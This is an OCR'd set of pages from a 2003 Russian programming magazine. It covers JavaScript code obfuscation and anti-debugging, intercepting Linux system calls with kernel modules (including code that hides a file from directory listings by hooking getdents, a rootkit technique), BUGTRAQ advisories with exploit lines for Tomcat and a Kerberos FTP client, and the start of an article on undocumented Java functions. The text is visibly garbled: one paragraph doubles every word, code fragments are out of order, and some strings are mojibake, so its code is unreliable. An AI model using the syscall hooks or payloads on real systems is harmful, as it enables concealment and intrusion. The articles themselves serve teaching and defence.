«Спагетти» К сожалению, приведенное выше решение только на первый взгляд кажется действенным. Прежде всего, если расшифровывающая функция – это действительно одна-единственная вызываемая отовсюду функция JavaScript, то ничего не стоит, располагая полным набором HTML- и JavaScript-файлов, ее найти и подменить, с тем чтобы все расшифрованные тексты, скажем, сохранялись на диске. А что, если не делать специальную расшифровывающую функцию, а просто разместить соответствующий код в каждой точке, где он нужен? Это не поможет – такой код все равно можно автоматически повсюду отыскать и заменить своим кодом, который будет дополнительно записывать на диск расшифрованный текст. Даже если делать расшифровывающий код каждый раз немного другим, чтобы его нельзя было искать автоматически, все равно остается «узкое место» – вызов «eval». Все вызовы eval или эквивалентные средства JavaScript типа

Предполагается, что алгоритм зашифровки учитывает эту операцию. Тогда искажение исходного текста функции сделает расшифровку невозможной. Только все это – борьба с непрофессионалами. Опытный взломщик может попросту использовать собственный интерпретатор JavaScript, в котором сам оператор eval будет записывать свой аргумент на диск. Такому взломщику не нужно менять исходные тексты. Я предлагаю пойти другим путем. Пусть алгоритм расшифровки (это может быть и одна вызываемая отовсюду функция) выдает не один полный JavaScript-текст, а серию небольших JavaScript-кусочков. Исходный текст полной функции somefunction мы превратим в «спагетти»: смесь из коротких (одна-две строки) незашифрованных фрагментов и вызовов eval для столь же коротких расшифрованных кусочков, выданных алгоритмом расшифровки. Более того, некоторые расшифрованные кусочки на самом деле будут представлять собой опять же зашифрованный код аналогичного вида: var encrypted= «...»; var source= decoding_function(encrypted); .... eval(source);

Код source, расшифровываемый здесь, может, в свою очередь, быть зашифрован. Количество «уровней» зашифровки может быть для каждого расшифровываемого кусочка функции своим и случайным. Процесс превращения произвольной функции в подобное «спагетти» вполне можно сделать автоматическим. Написание соответствующего софта – не слишком простая, но и не самая сложная задача. Потребуется лишь корректный синтаксический анализатор JavaScript-кода, да и то не обязательно полный: скажем, можно не анализировать «внутренности» формул, ограничившись разбиением JavaScriptкода на операторы. Не упускаем ли мы что-то очевидное? Увы, пока да. Если расшифровывающий код будет выглядеть столь банально: var encrypted= "..."; var source= decoding_function(encrypted); eval(source);

new Function(...)

можно без особых усилий отыскать соответствующей автоматической утилитой и заменить подходящим JavaScriptкодом, который запротоколирует на диске весь расшифрованный текст. А может быть, можно помешать злоумышленнику менять исходный текст наших функций? Вообще-то можно. Достаточно где-нибудь в расшифровывающем коде получить полный JavaScript-текст рассматриваемой функции – в JavaScript для этого следует выполнить оператор somefunction+""

(somefunction – имя нашей функции). После чего можно использовать полученный текст для расшифровки, например, наложить его в режиме XOR на зашифрованные данные.

№3(4), март 2003

то нет проблем написать утилиту, которая отыщет все подобные фрагменты, выполнит расшифровку и заменит вызов eval на расшифрованный код. Если даже source будет, в свою очередь, зашифрован – такую утилиту можно вызвать многократно. Чтобы создание общей расшифровывающей утилиты было невозможно, надо сделать переменную encrypted вычисляемой – зависящей от хода выполнения программы. Например, если выполняется некий цикл, то он может «по пути» собирать encrypted сложением элементов массива строк. Для правильной сборки encrypted может, например, использоваться информация о времени выполнения участков программы. Такой подход к шифрованию, наверное, невозможно полностью автоматизировать. Программисту придется самому заботиться о нетривиальной генерации переменных

37

программирование encrypted. Но зато теперь написание автоматической программы, полностью расшифровывающей весь JavaScript, может потребовать полного понимания логики работы программы, т.е. того самого, что мы скрываем. Как мне кажется, мы более или менее защитили веб-приложение от «вскрытия» какими бы то ни было автоматическими сканерами, которые анализируют текст программы, не выполняя его. В терминах защиты обычных программ, компилируемых в машинные коды, мы защитились от дизассемблирования. На банальном уровне мы также защитились от специальных средств исполнения программы вроде собственного интерпретатора JavaScript – теперь взломщику недостаточно «перехватить» пару операторов типа eval, чтобы получить «на блюдечке» первоначальные исходные тексты JavaScript-функций. Тем не менее, работая с собственным средством исполнения JavaScript, в частности почти с любым качественным отладчиком, взломщик все же может, выполняя программу шаг за шагом, без особого труда реконструировать исходные тексты зашифрованных функций. Для борьбы с подобным «on-line» взломом существуют специальные технологии, которые мы рассмотрим в следующем разделе.

Борьба с отладчиками Предположим, что взломщик располагает произвольным отладчиком, в худшем для нас случае написанным самим взломщиком. Иначе говоря, наш JavaScript исполняется в некоторой виртуальной среде, полностью подконтрольной взломщику. Если при этом наше веб-приложение будет работать нормальным образом, то всякая защита окажется бесполезной. Взломщик в любом случае сможет проследить оператор за оператором, как исполняются все наши алгоритмы. Может быть, это будет не столь комфортно, как чтение прокомментированных исходных текстов, но в принципе задача взлома – изучение исходного кода для понимания его логики – будет решена. Мы должны предусмотреть систему противодействия отладчику. Коротко говоря, мы должны добиться, чтобы под отладчиком веб-приложение не работало нормальным образом.

Тайминг Основной способ борьбы с отладчиками – анализ времени выполнения программы. Очевидно, когда взломщик занимается «вскрытием» защиты и анализирует исполняемый код, программа выполняется несравненно медленнее, чем в нормальных условиях. Для языка JavaScript это, пожалуй, единственное, чем хороший отладчик «выдает себя» – в остальном все операторы JavaScript работают обычным образом. Как этим воспользоваться? Банальное решение – в случае чересчур долгого исполнения некоторого кода выдавать сообщение об ошибке – не годится. Взломщик просто «обойдет» соответствующую проверку, подправив «на лету» исполняемый JavaScript или изменив значение подходящей переменной. Надо быть хитрее.

38

Самое разумное – использовать результаты измерения времени выполнения очень часто, в частности, в циклах. По мере исполнения программы, в том числе в процессе расшифровки функций, должны постоянно выполняться замеры времени выполнения. Заведомо слишком большие времена должны приводить к тому, что начинает выполняться код, достаточно сложный и внешне похожий на нормальный, но на самом деле бесполезный и не имеющий отношения к решаемой задаче. Чтобы «взломать» такую программу, последовательно «подделывая» все замеры времени, взломщику придется выполнить очень большую (возможно, астрономически большую) ручную работу. Причем малейшая ошибка взломщика будет приводить к тому, что он будет незаметно для себя переходить к анализу пустого и ненужного кода, который может заканчиваться неприятными тупиками типа зацикливания или открытия на экране тысяч окон-«пустышек».

Веб-сервер и электронная подпись Вообще говоря, для борьбы с описанным методом защиты существует сравнительно несложный общий прием. Взломщик может «подделать» таймер, JavaScript-объект Date, традиционно используемый для измерения времени. Располагая собственным отладчиком, можно «подделать» любой источник информации о времени – скажем, метод System.current TimeMillis() из Java-апплетов (и даже низкоуровневую команду процессора Intel RDTSC, в случае если бы мы защищали ассемблерную программу). «Подделанный» таймер может выдавать виртуальное время, в котором не учитываются интервалы пассивного ожидания нажатия взломщика на клавиши. Существует ли какой-либо источник данных, который взломщик не может подделать? Вообще говоря, да. Это данные от веб-сервера, защищенные электронной подписью. Мы не можем здесь подробно рассматривать технологию электронной подписи и наиболее популярный в этой области алгоритм RSA. Все это очень легко найти в литературе, в частности в Интернете. В двух словах, идея здесь следующая. Есть два ключа (длинные цепочки битов): закрытый и открытый. Располагая одним ключом, невозможно восстановить другой. Закрытый ключ – секретный, открытый – общедоступный (например, распространяется вместе с данными). Данные шифруются с помощью закрытого ключа, а расшифровываются с помощью открытого. Если данные удалось расшифровать открытым ключом, значит, есть гарантия, что они были зашифрованы соответствующим закрытым ключом. Иначе говоря, данные, зашифрованные таким способом, – это нечто вроде подписи источника данных, владеющего закрытым ключом. Такую «подпись» подделать невозможно, или, по крайней мере, сегодня неизвестны алгоритмы, позволяющие это сделать менее чем за астрономическое время. Если допустить небольшой обмен данными с веб-сервером, к которому взломщик не имеет доступа, то, кажется, ничто не мешает использовать идею электронной подписи для получения неподделываемой информации, в частности, текущего времени. Для обращения к серверу за

программирование зашифрованным временем и расшифровки этого времени, вероятно, лучше использовать Java-апплет – JavaScript для такой задачи чересчур неуклюж. Расшифрованное текущее время можно использовать для замера быстродействия и обнаружения отладчика. По крайней мере, так можно поступать иногда, скажем, раз в несколько минут. В большинстве ситуаций, чтобы не перегружать Интернет, лучше полагаться на обычный тайминг и только иногда «сверять» часы JavaScript с показаниями часов сервера. Можно даже допустить работу в off-line-режиме (без обращений к серверу) на те периоды времени, пока не исполняется наиболее важный код, требующий особо тщательного «скрытия». Конечно, использовать эту технику надо так же хитро, как и любые другие защитные приемы, рассматривавшиеся выше. Скажем, просто сделать Java-апплет, возвращающий столь сложным образом полученное время, совершенно бессмысленно. Взломщик просто подменит весь этот апплет. Язык Java нужно использовать только для сервисных функций – чтения зашифрованных данных с сервера и исполнения «критичных ко времени» фрагментов алгоритма расшифровки. Сам же алгоритм расшифровки по открытому ключу должен быть реализован многократно в рамках саморасшифровывающегося JavaScript, в свою очередь, по возможности, защищенного таймингом. Идею электронной подписи можно использовать и более широко. Скажем, JavaScript-программа может правильно работать только при условии, что она имеет связь с «родным» сервером, причем гарантированно с ним, а не с его виртуальным аналогом. А это значит, что владельцы сервера могут в принципе организовать наблюдение за исполнением своих программ. Если сервер обнаружит, что JavaScript-программа на некотором клиентском компьютере (IP-адресе) исполняется «подозрительным» образом, он может вообще заблокировать дальнейшую работу JavaScript на этом компьютере, скажем, неправильной дальнейшей реакцией на запросы зашифрованных данных с этого IP-адреса. «Подозрительным» может считаться обращение за некоторыми двумя порциями данных (например, за текущим временем), разделенные слишком большим временным интервалом, что может свидетельствовать об исполнении соответствующего кода под отладчиком.

Маскировка – «безумный» код Еще один универсальный способ борьбы со взломщиками, располагающими собственным отладчиком, – маскировка. Цель взломщика – проанализировать логику работы некоторых алгоритмов, реализованных на JavaScript. Но для этого нужно увидеть каждый такой алгоритм в относительно «обозримом» виде, скажем, в течение часа проследить работу сотни JavaScript-операторов. А что, если эти сто операторов разбавлены «мусором» из тысячи ненужных операторов, не мешающих работе программы, но крайне запутывающих потенциального читателя? Думаю, вполне можно разработать программный пакет, который бы целенаправленно «замусоривал» исходный код на языке JavaScript (или на любом другом языке) бесполезными операторами, которые делают что-то «на вид»

№3(4), март 2003

вполне ценное, но в конце концов не оказывают влияния на нормальное исполнение программы. Более того, некоторые куски программы, например, начальный этап, на котором расшифровываются первые функции, могут почти полностью состоять из подобного «безумного» кода. Взломщику могут потребоваться сотни часов, чтобы «пробраться» через десятки тысяч ненужных операторов и дойти до той точки, где, наконец, появляется очередной расшифрованный фрагмент JavaScript. А если к этому добавить тайминг и связь с сервером, то подобное «путешествие» сквозь «безумный» код почти наверняка закончится уходом в совершенно бессмысленные области или даже обнаружением взломщика и блокировкой его IP-адреса.

Эквивалентные преобразования Хотелось бы отметить еще один несложный универсальный защитный прием, который может быть довольно эффективным для защиты JavaScript-программ. Во всяком случае, его почти всегда имеет смысл использовать в дополнение к описанным выше механизмам защиты. Речь идет об эквивалентных преобразованиях JavaScript-текста, снижающих его читабельность. Конечно, простое удаление лишних пробелов и «склеивание» строк – не слишком ценное действие: такой текст очень легко автоматически сформатировать обратно в читабельный вид. Но вот замена всех идентификаторов – переменных и функций – на бессмысленные эквиваленты типа «v1», «v2», ... может быть полезной. Это, конечно, не настоящая защита – любая программа, скомпилированная классическими компиляторами C++ или Delphi, уже «защищена» таким образом. Но по крайней мере, это делает «взлом» JavaScript-кода почти такой же непростой задачей, что и анализ машинного кода обычных программ. Вероятно, в Интернете уже есть утилиты, выполняющие подобное преобразование. Во всяком случае, такую программу нетрудно написать, располагая синтаксическим анализатором JavaScript. Приведенные здесь идеи по защите JavaScript-программ от взлома, т.е. несанкционированного изучения исходных текстов, вполне применимы и к другим языкам. Язык JavaScript интересен своей предельной незащищенностью от такого рода атак. Он позволяет использовать лишь сравнительно «серьезные» схемы защиты, построенные на достаточно фундаментальных идеях. Разного рода частные «трюки», основанные на особых свойствах процессора или операционной системы, здесь не проходят. Многие из описанных выше идей были почерпнуты автором из книги: Защита информации в персональных ЭВМ. Спесивцев, Вегнер, Крутяков, Серегин, Сидоров. М., Радио и связь, ВЕСТА, 1993. (Библиотека системного программиста). Эту книгу написали авторы Cerberus – одной из лучших систем защиты машинного кода, популярных во времена DOS-программ. В частности, идеи саморасшифровки, тайминга и «безумного» кода – оттуда. Автор также признателен участникам форума xpoint.ru, неоднократно обсуждавшим тему защиты веб-страниц.

39

программирование

ПЕРЕХВАТ СИСТЕМНЫХ ВЫЗОВОВ В ОС LINUX За За последние последние годы годы операционная операционная система система Linux Linux прочно прочно заняла заняла лидирующее лидирующее положение положение вв качестве качестве серверной серверной платформы, платформы, опережая опережая многие многие коммерческие коммерческие разработки. разработки. Тем Тем не не менее менее вопросы вопросы защиты защиты информационных информационных систем, систем, построенных построенных на на базе базе этой этой ОС, ОС, не не перестают перестают быть быть актуальными. актуальными. Существует Существует большое большое количество количество технических технических средств, средств, как как программных, программных, так так ии аппаратных, аппаратных, которые которые позволяют позволяют обеспечить обеспечить безопасность безопасность системы. системы. Это Это средства средства шифрования шифрования данных данных ии сетевого сетевого трафика, трафика, разграничения разграничения прав прав доступа доступа кк информационным информационным ресурсам, ресурсам, защиты защиты электронной электронной почты, почты, веб-серверов, веб-серверов, антивирусной антивирусной защиты, защиты, ии т. т. д. д. Список, Список, как как вы вы понимаете, понимаете, достаточно достаточно длинный. длинный. ВВ данной данной статье статье предлагаем предлагаем вам вам рассмотреть рассмотреть механизм механизм защиты, защиты, основанный основанный на на перехвате перехвате системных системных вызовов вызовов операционной операционной системы системы Linux.

Linux. Данный Данный механизм механизм позволяет позволяет взять взять под под контроль контроль работу работу любого любого приложения приложения ии тем тем самым самым предотвратить предотвратить возможные возможные деструктивные деструктивные действия, действия, которые которые оно оно может может выполнить. выполнить.

ВЛАДИМИР МЕШКОВ 40

программирование Системные вызовы Начнем с определения. Системные вызовы – это набор функций, реализованных в ядре ОС. Любой запрос приложения пользователя в конечном итоге трансформируется в системный вызов, который выполняет запрашиваемое действие. Полный перечень системных вызовов ОС Linux находится в файле /usr/include/asm/unistd.h. Давайте рассмотрим общий механизм выполнения системных вызовов на примере. Пусть в исходном тексте приложения вызывается функция creat() для создания нового файла. Компилятор, встретив вызов данной функции, преобразует его в ассемблерный код, обеспечивая загрузку номера системного вызова, соответствующего данной функции, и ее параметров в регистры процессора и последующий вызов прерывания 0x80. В регистры процессора загружаются следующие значения: в регистр EAX – номер системного вызова. Так, для нашего случая номер системного вызова будет равен 8 (см. __NR_creat); в регистр EBX – первый параметр функции (для creat это указатель на строку, содержащую имя создаваемого файла); в регистр ECX – второй параметр (права доступа к файлу). В регистр EDX загружается третий параметр, в данном случае он у нас отсутствует. Для выполнения системного вызова в ОС Linux используется функция system_call, которая определена в файле /usr/src/liux/arch/i386/kernel/ entry.S. Эта функция – точка входа для всех системных вызовов. Ядро реагирует на прерывание 0x80 обращением к функции system_call, которая, по сути, представляет собой обработчик прерывания 0x80. Чтобы убедиться, что мы на правильном пути, напишем небольшой тестовый фрагмент на ассемблере. В нем увидим, во что превращается функция creat() после компиляции. Файл назовем test.S. Вот его содержание: .globl _start .text _start:

В регистр EAX загружаем номер системного вызова: movl $8, %eax

В регистр EBX – первый параметр, указатель на строку с именем файла: movl $filename, %ebx

В регистр ECX – второй параметр, права доступа: movl $0, %ecx

Вызываем прерывание: int $0x80

Выходим из программы. Для этого вызовем функцию exit(0):

№3(4), март 2003

movl $1, %eax movl $0, %ebx int $0x80

В сегменте данных укажем имя создаваемого файла: .data filename: .string

"file.txt"

Компилируем: gcc -ñ test.S ld -s -o test test.o

В текущем каталоге появится исполняемый файл test. Запустив его, мы создадим новый файл с именем file.txt. А теперь давайте вернемся к рассмотрению механизма системных вызовов. Итак, ядро вызывает обработчик прерывания 0x80 – функцию system_call.

System_call помещает копии регистров, содержащих параметры вызова, в стек при помощи макроса SAVE_ALL и командой call вызывает нужную системную функцию. Таблица указателей на функции ядра, которые реализуют системные вызовы, расположена в массиве sys_call_table (см. файл arch/i386/kernel/entry.S). Номер системного вызова, который находится в регистре EAX, является индексом в этом массиве. Таким образом, если в EAX находится значение 8, будет вызвана функция ядра sys_creat(). Зачем нужен макрос SAVE_ALL? Объяснение тут очень простое. Так как практически все системные функции ядра написаны на С, то свои параметры они ищут в стеке. А параметры помещаются в стек при помощи макроса SAVE_ALL! Возвращаемое системным вызовом значение сохраняется в регистр EAX. Теперь давайте выясним, как перехватить системный вызов. Поможет нам в этом механизм загружаемых модулей ядра. Хотя ранее мы уже рассматривали вопросы разработки и применения модулей ядра, в интересах последовательности изложения материала рассмотрим кратко, что такое модуль ядра, из чего он состоит и как взаимодействует с системой.

Загружаемый модуль ядра Загружаемый модуль ядра (обозначим его LKM – Loadable Kernel Module) – это программный код, выполняемый в пространстве ядра. Главной особенностью LKM является возможность динамической загрузки и выгрузки без необходимости перезагрузки всей системы или перекомпиляции ядра. Каждый LKM состоит из двух основных функций (минимум): функция инициализации модуля. Вызывается при загрузке LKM в память: int init_module(void) { ... }

функция выгрузки модуля: void cleanup_module(void) { ... }

Приведем пример простейшего модуля:

41

программирование #define MODULE #include <linux/module.h> int init_module(void) { printk("Hello World\n"); return 0; } void cleanup_module(void) { printk("Bye\n"); }

рой содержится имя создаваемого каталога. Рассмотрим код, осуществляющий перехват соответствующего системного вызова. #include <linux/module.h> #include <linux/kernel.h> #include <sys/syscall.h>

Экспортируем таблицу системных вызовов: extern void *sys_call_table[];

Компилируем и загружаем модуль. Загрузку модуля в память осуществляет команда insmod: gcc -c -O3 helloworld.c insmod helloworld.o

Информация обо всех загруженных в данный момент в систему модулях находится в файле /proc/modules. Чтобы убедиться, что модуль загружен, введите команду cat /proc/modules либо lsmod. Выгружает модуль команда rmmod:

Определим указатель для сохранения оригинального системного вызова: int (*orig_mkdir)(const char *path);

Создадим собственный системный вызов. Наш вызов ничего не делает, просто возвращает нулевое значение: int own_mkdir(const char *path) { return 0; }

rmmod helloworld

Алгоритм перехвата системного вызова Для реализации модуля, перехватывающего системный вызов, необходимо определить алгоритм перехвата. Алгоритм следующий: сохранить указатель на оригинальный (исходный) вызов для возможности его восстановления; создать функцию, реализующую новый системный вызов; в таблице системных вызовов sys_call_table произвести замену вызовов, т.е. настроить соответствующий указатель на новый системный вызов; по окончании работы (при выгрузке модуля) восстановить оригинальный системный вызов, используя ранее сохраненный указатель. Выяснить, какие системные вызовы задействуются при работе приложения пользователя, позволяет трассировка. Осуществив трассировку, можно определить, какой именно системный вызов следует перехватить, чтобы взять под контроль работу приложения. Пример использования программы трассировки будет рассмотрен ниже. Теперь у нас достаточно информации, чтобы приступить к изучению примеров реализации модулей, осуществляющих перехват системных вызовов.

Примеры перехвата системных вызовов Запрет создания каталогов При создании каталога вызывается функция ядра sys_mkdir. В качестве параметра задается строка, в кото-

42

Во время инициализации модуля сохраняем указатель на оригинальный вызов и производим замену системного вызова: int init_module() { orig_mkdir=sys_call_table[SYS_mkdir]; sys_call_table[SYS_mkdir]=own_mkdir; return 0; }

При выгрузке восстанавливаем оригинальный вызов: void cleanup_module() { sys_call_table[SYS_mkdir]=orig_mkdir; }

Код сохраним в файле sys_mkdir_call.c. Для получения объектного модуля создадим Makefile следующего содержания: CC = gcc CFLAGS = -O3 -Wall -fomit-frame-pointer MODFLAGS = -D__KERNEL__ -DMODULE -I/usr/src/linux/include sys_mkdir_call.o: sys_mkdir_call.c $(CC) -c $(CFLAGS) $(MODFLAGS) sys_mkdir_call.c

Командой make создадим модуль ядра. Загрузив его, попытаемся создать каталог командой mkdir. Как вы можете убедиться, ничего при этом не происходит. Команда не работает. Для восстановления ее работоспособности достаточно выгрузить модуль.

Запрет чтения файла Для того чтобы прочитать файл, его необходимо вначале открыть при помощи функции open. Легко догадаться, что этой функции соответствует системный вызов sys_open. Перехватив его, мы можем защитить файл от прочтения. Рассмотрим реализацию модуля-перехватчика.

программирование #include #include #include #include #include #include #include

<linux/module.h> <linux/kernel.h> <sys/syscall.h> <linux/types.h> <linux/slab.h> <linux/string.h> <asm/uaccess.h>

extern void *sys_call_table[];

Указатель для сохранения оригинального системного вызова: int (*orig_open)(const char *pathname, int flag, int mode);

Первым параметром функции open является имя открываемого файла. Новый системный вызов должен сравнить этот параметр с именем файла, который мы хотим защитить. Если имена совпадут, будет сымитирована ошибка открытия файла. Наш новый системный вызов имеет вид:

return 0; } void cleanup_module() { sys_call_table[SYS_open]=orig_open; }

Сохраним код в файле sys_open_call.c и создадим Makefile для получения объектного модуля: CC = gcc CFLAGS = -O2 -Wall -fomit-frame-pointer MODFLAGS = -D__KERNEL__ -DMODULE -I/usr/src/linux/include sys_open_call.o: sys_open_call.c $(CC) -c $(CFLAGS) $(MODFLAGS) sys_open_call.c

int own_open(const char *pathname, int flag, int mode) {

В текущем каталоге создадим файл с именем test.txt, загрузим модуль и введем команду cat test.txt. Система сообщит об отсутствии файла с таким именем. Честно говоря, такую защиту легко обойти. Достаточно командой mv переименовать файл, а затем прочесть его содержимое.

Сюда поместим имя открываемого файла:

Сокрытие записи о файле в каталоге

char *kernel_path;

Имя файла, который мы хотим защитить: char hide[]="test.txt"

Выделим память и скопируем туда имя открываемого файла: kernel_path=(char *)kmalloc(255,GFP_KERNEL); copy_from_user(kernel_path, pathname, 255);

Определим, какой системный вызов отвечает за чтение содержимого каталога. Для этого напишем еще один тестовый фрагмент, который занимается чтением текущей директории: /* Ôàéë dir.c*/ #include <stdio.h> #include <dirent.h> int main () { DIR *d; struct dirent *dp; d = opendir(«.»); dp = readdir(d); return 0;

Сравниваем: } if(strstr(kernel_path,(char *)&hide) != NULL) {

Получим исполняемый модуль: Освобождаем память и возвращаем код ошибки при совпадении имен: kfree(kernel_path); return -ENOENT; } else {

Если имена не совпали, вызываем оригинальный системный вызов для выполнения стандартной процедуры открытия файла: kfree(kernel_path); return orig_open(pathname, flag, mode); } }

Далее смотрите комментарии к предыдущему примеру. int init_module() { orig_open=sys_call_table[SYS_open]; sys_call_table[SYS_open]=own_open;

№3(4), март 2003

gcc -o dir dir.c

и выполним его трассировку: strace ./dir

Обратим внимание на предпоследнюю строку: getdents (6, /* 4 entries*/, 3933) = 72;

Содержимое каталога считывает функция getdents. Результат сохраняется в виде списка структур типа struct dirent. Второй параметр этой функции является указателем на этот список. Функция возвращает длину всех записей в каталоге. В нашем примере функция getdents определила наличие в текущем каталоге четырех записей – «.», «..» и два наших файла, исполняемый модуль и исходный текст. Длина всех записей в каталоге составляет 72 байта. Информация о каждой записи сохраняется, как

43

программирование мы уже сказали, в структуре struct dirent. Для нас интерес представляют два поля данной структуры: d_reclen – размер записи; d_name – имя файла. Для того чтобы спрятать запись о файле (другими словами, сделать его невидимым), необходимо перехватить системный вызов sys_getdents, найти в списке полученных структур соответствующую запись и удалить ее. Рассмотрим код, выполняющий эту операцию (автор оригинального кода – Michal Zalewski): #include #include #include #include #include #include #include #include

<linux/module.h> <linux/kernel.h> <linux/types.h> <linux/dirent.h> <linux/slab.h> <linux/string.h> <sys/syscall.h> <asm/uaccess.h>

extern void *sys_call_table[]; int (*orig_getdents)(u_int, struct dirent *, u_int);

Проверяем, не совпало ли имя файла из текущей записи с искомым: if(strstr((char *)&(dirp3->d_name),(char *)&hide) != NULL) {

Если это так, затираем запись и вычисляем новое значение длины записей в каталоге: memcpy(dirp3,(char *)dirp3+dirp3->d_reclen,t); tmp-=n; }

Позиционируем указатель на следующую запись и продолжаем поиск: dirp3=(struct dirent *)((char *)dirp3+dirp3->d_reclen); }

Возвращаем результат и освобождаем память: copy_to_user(dirp,dirp2,tmp); kfree(dirp2); }

Возвращаем значение длины записей в каталоге: Определим свой системный вызов. return tmp; } int own_getdents(u_int fd, struct dirent *dirp, u_int count) { unsigned int tmp, n; int t;

Назначение переменных будет показано ниже. Дополнительно нам понадобятся структуры: struct dirent *dirp2, *dirp3;

Имя файла, который мы хотим спрятать: char hide[]=»our.file»;

Функции инициализации и выгрузки модуля имеют стандартный вид: int init_module(void) { orig_getdents=sys_call_table[SYS_getdents]; sys_call_table[SYS_getdents]=own_getdents; return 0; } void cleanup_module() { sys_call_table[SYS_getdents]=orig_getdents; }

Сохраним исходный текст в файле sys_call_getd.c и создадим Makefile следующего содержания:

Определим длину записей в каталоге: tmp=(*orig_getdents)(fd,dirp,count); if(tmp>0){

Выделим память для структуры в пространстве ядра и скопируем в нее содержимое каталога: dirp2=(struct dirent *)kmalloc(tmp,GFP_KERNEL); ñopy_from_user(dirp2,dirp,tmp);

Задействуем вторую структуру и сохраним значение длины записей в каталоге: dirp3=dirp2; t=tmp;

Начнем искать наш файл: while(t>0) {

Считываем длину первой записи и определяем оставшуюся длину записей в каталоге: n=dirp3->d_reclen; t-=n;

44

CC = gcc module = sys_call_getd.o CFLAGS = -O3 -Wall LINUX = /usr/src/linux MODFLAGS = -D__KERNEL__ -DMODULE -I$(LINUX)/include sys_call_getd.o: sys_call_getd.c $(CC) -c $(CFLAGS) $(MODFLAGS) sys_call_getd.c

В текущем каталоге создадим файл our.file и загрузим модуль. Файл исчезает, что и требовалось доказать. Как вы понимаете, рассмотреть в рамках одной статьи пример перехвата каждого системного вызова не представляется возможным. Поэтому тем, кто заинтересовался данным вопросом, рекомендую посетить сайты: www.phrack.com www.atstake.com www.thehackerschoice.com. Там вы сможете найти более сложные и интересные примеры перехвата системных вызовов. Обо всех замечаниях и предложениях пишите на форум журнала. При подготовке статьи были использованы материалы сайта http://www.thehackerschoice.com/.

BUGTRAQ Несколько уязвимостей в Apache Tomcat server

Выполнение произвольных команд в MIT Kerberos FTP-клиенте

Уязвимость раскрытия информации обнаружена в Apache Tomcat server. Удаленный пользователь может просмотреть содержание директорий и некоторых файлов, которые конфигурированы как недоступные для просмотра. Как сообщается, сервер неправильно обрабатывает некоторые типы HTTP-запросов, содержащих NULL или ‘\’ символы. Удаленный пользователь может сконструировать специальный HTTP-GET-запрос, чтобы просмотреть содержание каталога, в котором присутствует файл index.html или index.jsp. Пример:

Уязвимость проверки правильности ввода обнаружена в MIT Kerberos FTP-клиенте и, возможно, других FTP-клиентах. Удаленный пользователь (злонамеренный FTP-сервер) может выполнить произвольные команды оболочки на уязвимом клиенте. Согласно сообщению, об этом типе уязвимости было известно еще в 1997 году, но она до сих пор не устранена в текущем выпуске Kerberos FTP-клиента и, возможно, присутствует в FTP-клиентах от других производителей. Если имя файла начинается с символа канала “|”, клиент передаст имя файла как команду через system()-запрос, когда файл обнаружен клиентом на сервере. Уязвимость позволяет серверу выполнять произвольные команды оболочки, содержащиеся в имени файла или в содержании файла с привилегиями пользователя FTP-клиента. Пример:

GET /<null byte>.jsp HTTP/1.0

Также сообщается, что удаленный пользователь может представить специально обработанный запрос, содержащий символы ‘\’, чтобы получить информацию о недоступных каталогах. Пример: $ perl -e 'print "GET /admin/WEB-INF\\classes/ ContextAdmin.java\x00.jsp HTTP/1.0\r\n\r\n";'|nc my.server 8080

Этот демонстрационный пример раскроет содержание ContextAdmin.java-каталога. Уязвимость обнаружена в Apache Tomcat Server 3.3.1 и более ранние версии.

№3(4), март 2003

mget .

-> (...)

RETR "|touch testfile" RETR "|sh" with content of the file '|sh' being shell commands

Уязвимость обнаружена в Kerberos 5, 1.2.7.

45

программирование

НЕКОТОРЫЕ НЕДОКУМЕНТИРОВАННЫЕ ФУНКЦИИ JAVA

Изучение недокументированных функций в применении к языку Java может показаться несколько странным. Java – грамотный, современный, высоконадежный объектно-ориентированный язык программирования, поставляемый фирмой Sun совместно с обширнейшими библиотеками готовых классов. Неужели в среде Java существуют задачи, которые не решаются с помощью стандартных библиотек и для решения которых имеет смысл прибегать к недокументированным функциям? И что вообще такое «недокументированная функция» в рамках Java?

ДАНИИЛ АЛИЕВСКИЙ 46

программирование Слова «недокументированная функция» в случае Java имеют самый прямой смысл. В стандартный комплект поставки языка Java (мы рассматриваем версии 1.4 и выше – Sun Java SDK) входит, помимо документированных пакетов типа java.lang.*, java.util.*, javax.swing.* и т. д. также целый ряд недокументированных пакетов, прежде всего подпакеты sun.* и com.sun.*. Фирма Sun совершенно справедливо рекомендует не пользоваться классами из этих пакетов. Фирма Sun оставляет за собой право в любой момент поменять поведение и даже сам набор этих классов, так что программа, пользующаяся ими, рискует оказаться несовместимой с будущими версиями Java. На самом деле в подавляющем большинстве ситуаций недокументированные функции, точнее, недокументированные классы из подпакетов sun.* и com.sun.* действительно не нужны. Эти классы в основном обеспечивают низкоуровневую реализацию универсальных классов и интерфейсов, предназначенных для использования в прикладных программах, и почти ничего не добавляют к тем возможностям, которые и так предоставляются стандартными документированными прикладными пакетами. Из этого правила иногда встречаются исключения. Автор этой статьи участвовал в разработке сложной системы на языке Java, содержащей более 100 тысяч строк исходного кода. При этом нам лишь несколько раз потребовались недокументированные функции Java. Именно о таких исключениях мне хотелось бы рассказать в данной статье.

vac.Main – хотя и не документированы, но довольно активно обсуждаются на форумах сайта http://java.sun.com. Первый класс, sun.tools.javac.Main, имеет конструктор: public Main( OutputStream p0, String p1)

В качестве параметров конструктор принимает некоторый поток p0, в который будут выдаваться все сообщения компилятора, и некоторую строку неизвестного (автору статьи) назначения; известные мне примеры использования данного класса передавали в качестве p1 строку «javac». Собственно компиляцию выполняет метод того же класса: public synchronized boolean compile( String[] p0)

Этому методу нужно передать в качестве аргумента массив строк-параметров, которые обычно передаются утилите javac, например: new String[] {"-d","/ïóòü_ê_ïîäêàòàëîãó","myfile.java"}

О результатах компиляции можно узнать из результата метода compile() – в случае успеха он должен вернуть true – или с помощью отдельного метода: public int getExitStatus()

